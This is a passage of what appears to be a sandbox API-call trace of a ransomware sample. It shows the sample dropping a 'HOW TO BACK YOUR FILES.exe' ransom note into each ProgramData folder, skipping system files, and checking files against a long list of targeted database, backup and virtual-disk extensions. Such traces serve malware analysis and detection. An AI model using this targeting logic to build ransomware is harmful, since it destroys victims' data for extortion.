lstrcmpiW (lpString1="Package Cache", lpString2="pagefile.sys") returned -1 [0048.333] lstrcmpiW (lpString1="Package Cache", lpString2="boot") returned 1 [0048.333] lstrcmpiW (lpString1="Package Cache", lpString2="ids.txt") returned 1 [0048.333] lstrcmpiW (lpString1="Package Cache", lpString2="ntuser.dat") returned 1 [0048.333] lstrcmpiW (lpString1="Package Cache", lpString2="perflogs") returned -1 [0048.333] lstrcmpiW (lpString1="Package Cache", lpString2="MSBuild") returned 1 [0048.333] lstrlenW (lpString="Package Cache") returned 13 [0048.333] lstrcpyW (in: lpString1=0x241e888, lpString2="Package Cache" | out: lpString1="Package Cache") returned="Package Cache" [0048.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530b00 [0048.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x524020 [0048.333] lstrcatW (in: lpString1="Package Cache", lpString2="\\" | out: lpString1="Package Cache\\") returned="Package Cache\\" [0048.333] lstrcatW (in: lpString1="Package Cache\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Package Cache\\HOW TO BACK YOUR FILES.exe") returned="Package Cache\\HOW TO BACK YOUR FILES.exe" [0048.333] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.334] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0048.334] lstrcmpiW (lpString1="Start Menu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.334] lstrcmpiW (lpString1="Start Menu", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.334] lstrcmpiW (lpString1="Start Menu", lpString2=".") returned 1 [0048.334] lstrcmpiW (lpString1="Start Menu", lpString2="..") returned 1 [0048.334] lstrcmpiW (lpString1="Start Menu", lpString2="windows") returned -1 [0048.334] lstrcmpiW (lpString1="Start Menu", lpString2="bootmgr") returned 1 [0048.334] lstrcmpiW (lpString1="Start Menu", lpString2="temp") returned -1 [0048.334] lstrcmpiW (lpString1="Start Menu", lpString2="pagefile.sys") returned 1 [0048.334] lstrcmpiW (lpString1="Start Menu", lpString2="boot") returned 1 [0048.334] lstrcmpiW (lpString1="Start Menu", lpString2="ids.txt") returned 1 [0048.334] lstrcmpiW (lpString1="Start Menu", lpString2="ntuser.dat") returned 1 [0048.334] lstrcmpiW (lpString1="Start Menu", lpString2="perflogs") returned 1 [0048.334] lstrcmpiW (lpString1="Start Menu", lpString2="MSBuild") returned 1 [0048.334] lstrlenW (lpString="Start Menu") returned 10 [0048.334] lstrcpyW (in: lpString1=0x241e888, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0048.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530b18 [0048.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x52faa0 [0048.334] lstrcatW (in: lpString1="Start Menu", lpString2="\\" | out: lpString1="Start Menu\\") returned="Start Menu\\" [0048.334] lstrcatW (in: lpString1="Start Menu\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Start Menu\\HOW TO BACK YOUR FILES.exe") returned="Start Menu\\HOW TO BACK YOUR FILES.exe" [0048.334] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.335] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0048.335] lstrcmpiW (lpString1="Sun", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.335] lstrcmpiW (lpString1="Sun", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.335] lstrcmpiW (lpString1="Sun", lpString2=".") returned 1 [0048.335] lstrcmpiW (lpString1="Sun", lpString2="..") returned 1 [0048.335] lstrcmpiW (lpString1="Sun", lpString2="windows") returned -1 [0048.335] lstrcmpiW (lpString1="Sun", lpString2="bootmgr") returned 1 [0048.335] lstrcmpiW (lpString1="Sun", lpString2="temp") returned -1 [0048.335] lstrcmpiW (lpString1="Sun", lpString2="pagefile.sys") returned 1 [0048.335] lstrcmpiW (lpString1="Sun", lpString2="boot") returned 1 [0048.335] lstrcmpiW (lpString1="Sun", lpString2="ids.txt") returned 1 [0048.335] lstrcmpiW (lpString1="Sun", lpString2="ntuser.dat") returned 1 [0048.335] lstrcmpiW (lpString1="Sun", lpString2="perflogs") returned 1 [0048.335] lstrcmpiW (lpString1="Sun", lpString2="MSBuild") returned 1 [0048.335] lstrlenW (lpString="Sun") returned 3 [0048.335] lstrcpyW (in: lpString1=0x241e888, lpString2="Sun" | out: lpString1="Sun") returned="Sun" [0048.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530b30 [0048.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x48) returned 0x517488 [0048.335] lstrcatW (in: lpString1="Sun", lpString2="\\" | out: lpString1="Sun\\") returned="Sun\\" [0048.335] lstrcatW (in: lpString1="Sun\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sun\\HOW TO BACK YOUR FILES.exe") returned="Sun\\HOW TO BACK YOUR FILES.exe" [0048.335] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\sun\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.336] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0048.336] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.336] lstrcmpiW (lpString1="Templates", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.336] lstrcmpiW (lpString1="Templates", lpString2=".") returned 1 [0048.336] lstrcmpiW (lpString1="Templates", lpString2="..") returned 1 [0048.336] lstrcmpiW (lpString1="Templates", lpString2="windows") returned -1 [0048.336] lstrcmpiW (lpString1="Templates", lpString2="bootmgr") returned 1 [0048.336] lstrcmpiW (lpString1="Templates", lpString2="temp") returned 1 [0048.336] lstrcmpiW (lpString1="Templates", lpString2="pagefile.sys") returned 1 [0048.336] lstrcmpiW (lpString1="Templates", lpString2="boot") returned 1 [0048.336] lstrcmpiW (lpString1="Templates", lpString2="ids.txt") returned 1 [0048.336] lstrcmpiW (lpString1="Templates", lpString2="ntuser.dat") returned 1 [0048.336] lstrcmpiW (lpString1="Templates", lpString2="perflogs") returned 1 [0048.336] lstrcmpiW (lpString1="Templates", lpString2="MSBuild") returned 1 [0048.336] lstrlenW (lpString="Templates") returned 9 [0048.336] lstrcpyW (in: lpString1=0x241e888, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0048.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530b48 [0048.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x52fb00 [0048.336] lstrcatW (in: lpString1="Templates", lpString2="\\" | out: lpString1="Templates\\") returned="Templates\\" [0048.336] lstrcatW (in: lpString1="Templates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Templates\\HOW TO BACK YOUR FILES.exe") returned="Templates\\HOW TO BACK YOUR FILES.exe" [0048.336] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.337] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0048.337] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0048.337] ReleaseMutex (hMutex=0xec) returned 1 [0048.337] CloseHandle (hObject=0xec) returned 1 [0048.337] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Desktop" | out: lpString1="C:\\ProgramData\\Desktop") returned="C:\\ProgramData\\Desktop" [0048.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a868 | out: hHeap=0x4f0000) returned 1 [0048.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50daa8 | out: hHeap=0x4f0000) returned 1 [0048.337] lstrlenW (lpString="C:\\ProgramData\\Desktop") returned 22 [0048.337] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\CC9C129A50B3E4CFD1F99381EA56BD90") returned 0xec [0048.337] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0048.337] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Desktop" | out: lpString1="C:\\ProgramData\\Desktop") returned="C:\\ProgramData\\Desktop" [0048.337] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0048.337] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.338] CreateFileW (lpFileName="C:\\ProgramData\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\desktop\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0048.338] GetLastError () returned 0x0 [0048.338] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0048.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0048.338] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0048.339] CloseHandle (hObject=0xf4) returned 1 [0048.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0048.339] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0048.339] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Desktop\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0048.339] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.339] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.339] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.339] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.339] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.339] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.339] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.339] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.339] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c279c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c279c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c4db20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x7e9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Reader X.lnk", cAlternateFileName="ADOBER~1.LNK")) returned 1 [0048.339] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.339] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.339] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2=".") returned 1 [0048.339] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="..") returned 1 [0048.339] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="windows") returned -1 [0048.339] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="bootmgr") returned -1 [0048.339] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="temp") returned -1 [0048.339] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="pagefile.sys") returned -1 [0048.339] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="boot") returned -1 [0048.340] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="ids.txt") returned -1 [0048.340] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="ntuser.dat") returned -1 [0048.340] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="perflogs") returned -1 [0048.340] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="MSBuild") returned -1 [0048.340] lstrlenW (lpString="Adobe Reader X.lnk") returned 18 [0048.340] lstrcpyW (in: lpString1=0x241e876, lpString2="Adobe Reader X.lnk" | out: lpString1="Adobe Reader X.lnk") returned="Adobe Reader X.lnk" [0048.340] lstrlenW (lpString="Adobe Reader X.lnk") returned 18 [0048.340] lstrlenW (lpString="Athena865") returned 9 [0048.340] lstrcmpiW (lpString1="der X.lnk", lpString2="Athena865") returned 1 [0048.340] lstrlenW (lpString=".dll") returned 4 [0048.340] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2=".dll") returned 1 [0048.340] lstrlenW (lpString=".lnk") returned 4 [0048.340] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2=".lnk") returned 1 [0048.340] lstrlenW (lpString=".ini") returned 4 [0048.340] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2=".ini") returned 1 [0048.340] lstrlenW (lpString=".sys") returned 4 [0048.340] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2=".sys") returned 1 [0048.340] lstrlenW (lpString="Adobe Reader X.lnk") returned 18 [0048.340] lstrlenW (lpString="bak") returned 3 [0048.340] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0048.340] lstrlenW (lpString="ba_") returned 3 [0048.340] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0048.340] lstrlenW (lpString="dbb") returned 3 [0048.340] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0048.340] lstrlenW (lpString="vmdk") returned 4 [0048.340] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0048.340] lstrlenW (lpString="rar") returned 3 [0048.340] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0048.340] lstrlenW (lpString="zip") returned 3 [0048.340] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0048.340] lstrlenW (lpString="tgz") returned 3 [0048.340] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0048.340] lstrlenW (lpString="vbox") returned 4 [0048.340] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0048.340] lstrlenW (lpString="vdi") returned 3 [0048.340] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0048.340] lstrlenW (lpString="vhd") returned 3 [0048.340] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0048.341] lstrlenW (lpString="vhdx") returned 4 [0048.341] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0048.341] lstrlenW (lpString="avhd") returned 4 [0048.341] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0048.341] lstrlenW (lpString="db") returned 2 [0048.341] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0048.341] lstrlenW (lpString="db2") returned 3 [0048.341] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0048.341] lstrlenW (lpString="db3") returned 3 [0048.341] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0048.341] lstrlenW (lpString="dbf") returned 3 [0048.341] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0048.341] lstrlenW (lpString="mdf") returned 3 [0048.341] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0048.341] lstrlenW (lpString="mdb") returned 3 [0048.341] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0048.341] lstrlenW (lpString="sql") returned 3 [0048.341] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0048.341] lstrlenW (lpString="sqlite") returned 6 [0048.341] lstrcmpiW (lpString1=" X.lnk", lpString2="sqlite") returned -1 [0048.341] lstrlenW (lpString="sqlite3") returned 7 [0048.341] lstrcmpiW (lpString1="r X.lnk", lpString2="sqlite3") returned -1 [0048.341] lstrlenW (lpString="sqlitedb") returned 8 [0048.341] lstrcmpiW (lpString1="er X.lnk", lpString2="sqlitedb") returned -1 [0048.341] lstrlenW (lpString="xml") returned 3 [0048.341] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0048.341] lstrlenW (lpString="$er") returned 3 [0048.341] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0048.341] lstrlenW (lpString="4dd") returned 3 [0048.341] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0048.341] lstrlenW (lpString="4dl") returned 3 [0048.341] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0048.341] lstrlenW (lpString="^^^") returned 3 [0048.341] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0048.341] lstrlenW (lpString="abs") returned 3 [0048.341] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0048.341] lstrlenW (lpString="abx") returned 3 [0048.341] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0048.342] lstrlenW (lpString="accdb") returned 5 [0048.342] lstrcmpiW (lpString1="X.lnk", lpString2="accdb") returned 1 [0048.342] lstrlenW (lpString="accdc") returned 5 [0048.342] lstrcmpiW (lpString1="X.lnk", lpString2="accdc") returned 1 [0048.342] lstrlenW (lpString="accde") returned 5 [0048.342] lstrcmpiW (lpString1="X.lnk", lpString2="accde") returned 1 [0048.342] lstrlenW (lpString="accdr") returned 5 [0048.342] lstrcmpiW (lpString1="X.lnk", lpString2="accdr") returned 1 [0048.342] lstrlenW (lpString="accdt") returned 5 [0048.342] lstrcmpiW (lpString1="X.lnk", lpString2="accdt") returned 1 [0048.342] lstrlenW (lpString="accdw") returned 5 [0048.342] lstrcmpiW (lpString1="X.lnk", lpString2="accdw") returned 1 [0048.342] lstrlenW (lpString="accft") returned 5 [0048.342] lstrcmpiW (lpString1="X.lnk", lpString2="accft") returned 1 [0048.342] lstrlenW (lpString="adb") returned 3 [0048.342] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0048.342] lstrlenW (lpString="adb") returned 3 [0048.342] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0048.342] lstrlenW (lpString="ade") returned 3 [0048.342] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0048.342] lstrlenW (lpString="adf") returned 3 [0048.342] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0048.342] lstrlenW (lpString="adn") returned 3 [0048.342] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0048.342] lstrlenW (lpString="adp") returned 3 [0048.342] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0048.342] lstrlenW (lpString="alf") returned 3 [0048.342] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0048.342] lstrlenW (lpString="ask") returned 3 [0048.342] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0048.342] lstrlenW (lpString="btr") returned 3 [0048.342] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0048.342] lstrlenW (lpString="cat") returned 3 [0048.342] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0048.342] lstrlenW (lpString="cdb") returned 3 [0048.342] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0048.343] lstrlenW (lpString="ckp") returned 3 [0048.343] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0048.343] lstrlenW (lpString="cma") returned 3 [0048.343] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0048.343] lstrlenW (lpString="cpd") returned 3 [0048.343] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0048.343] lstrlenW (lpString="dacpac") returned 6 [0048.343] lstrcmpiW (lpString1=" X.lnk", lpString2="dacpac") returned -1 [0048.343] lstrlenW (lpString="dad") returned 3 [0048.343] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0048.343] lstrlenW (lpString="dadiagrams") returned 10 [0048.343] lstrcmpiW (lpString1="ader X.lnk", lpString2="dadiagrams") returned -1 [0048.343] lstrlenW (lpString="daschema") returned 8 [0048.343] lstrcmpiW (lpString1="er X.lnk", lpString2="daschema") returned 1 [0048.343] lstrlenW (lpString="db-journal") returned 10 [0048.343] lstrcmpiW (lpString1="ader X.lnk", lpString2="db-journal") returned -1 [0048.343] lstrlenW (lpString="db-shm") returned 6 [0048.344] lstrcmpiW (lpString1=" X.lnk", lpString2="db-shm") returned -1 [0048.344] lstrlenW (lpString="db-wal") returned 6 [0048.344] lstrcmpiW (lpString1=" X.lnk", lpString2="db-wal") returned -1 [0048.344] lstrlenW (lpString="dbc") returned 3 [0048.344] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0048.344] lstrlenW (lpString="dbs") returned 3 [0048.344] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0048.344] lstrlenW (lpString="dbt") returned 3 [0048.344] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0048.344] lstrlenW (lpString="dbv") returned 3 [0048.344] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0048.344] lstrlenW (lpString="dbx") returned 3 [0048.344] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0048.344] lstrlenW (lpString="dcb") returned 3 [0048.344] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0048.344] lstrlenW (lpString="dct") returned 3 [0048.344] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0048.344] lstrlenW (lpString="dcx") returned 3 [0048.344] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0048.344] lstrlenW (lpString="ddl") returned 3 [0048.344] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0048.344] lstrlenW (lpString="dlis") returned 4 [0048.344] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0048.344] lstrlenW (lpString="dp1") returned 3 [0048.344] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0048.344] lstrlenW (lpString="dqy") returned 3 [0048.344] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0048.344] lstrlenW (lpString="dsk") returned 3 [0048.344] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0048.344] lstrlenW (lpString="dsn") returned 3 [0048.344] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0048.344] lstrlenW (lpString="dtsx") returned 4 [0048.344] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0048.344] lstrlenW (lpString="dxl") returned 3 [0048.344] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0048.345] lstrlenW (lpString="eco") returned 3 [0048.345] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0048.345] lstrlenW (lpString="ecx") returned 3 [0048.345] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0048.345] lstrlenW (lpString="edb") returned 3 [0048.345] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0048.345] lstrlenW (lpString="epim") returned 4 [0048.345] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0048.345] lstrlenW (lpString="fcd") returned 3 [0048.345] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0048.345] lstrlenW (lpString="fdb") returned 3 [0048.345] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0048.345] lstrlenW (lpString="fic") returned 3 [0048.345] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0048.345] lstrlenW (lpString="flexolibrary") returned 12 [0048.345] lstrcmpiW (lpString1="Reader X.lnk", lpString2="flexolibrary") returned 1 [0048.345] lstrlenW (lpString="fm5") returned 3 [0048.345] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0048.345] lstrlenW (lpString="fmp") returned 3 [0048.345] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0048.345] lstrlenW (lpString="fmp12") returned 5 [0048.345] lstrcmpiW (lpString1="X.lnk", lpString2="fmp12") returned 1 [0048.345] lstrlenW (lpString="fmpsl") returned 5 [0048.345] lstrcmpiW (lpString1="X.lnk", lpString2="fmpsl") returned 1 [0048.345] lstrlenW (lpString="fol") returned 3 [0048.345] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0048.345] lstrlenW (lpString="fp3") returned 3 [0048.345] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0048.345] lstrlenW (lpString="fp4") returned 3 [0048.345] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0048.345] lstrlenW (lpString="fp5") returned 3 [0048.345] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0048.345] lstrlenW (lpString="fp7") returned 3 [0048.345] lstrcmpiW 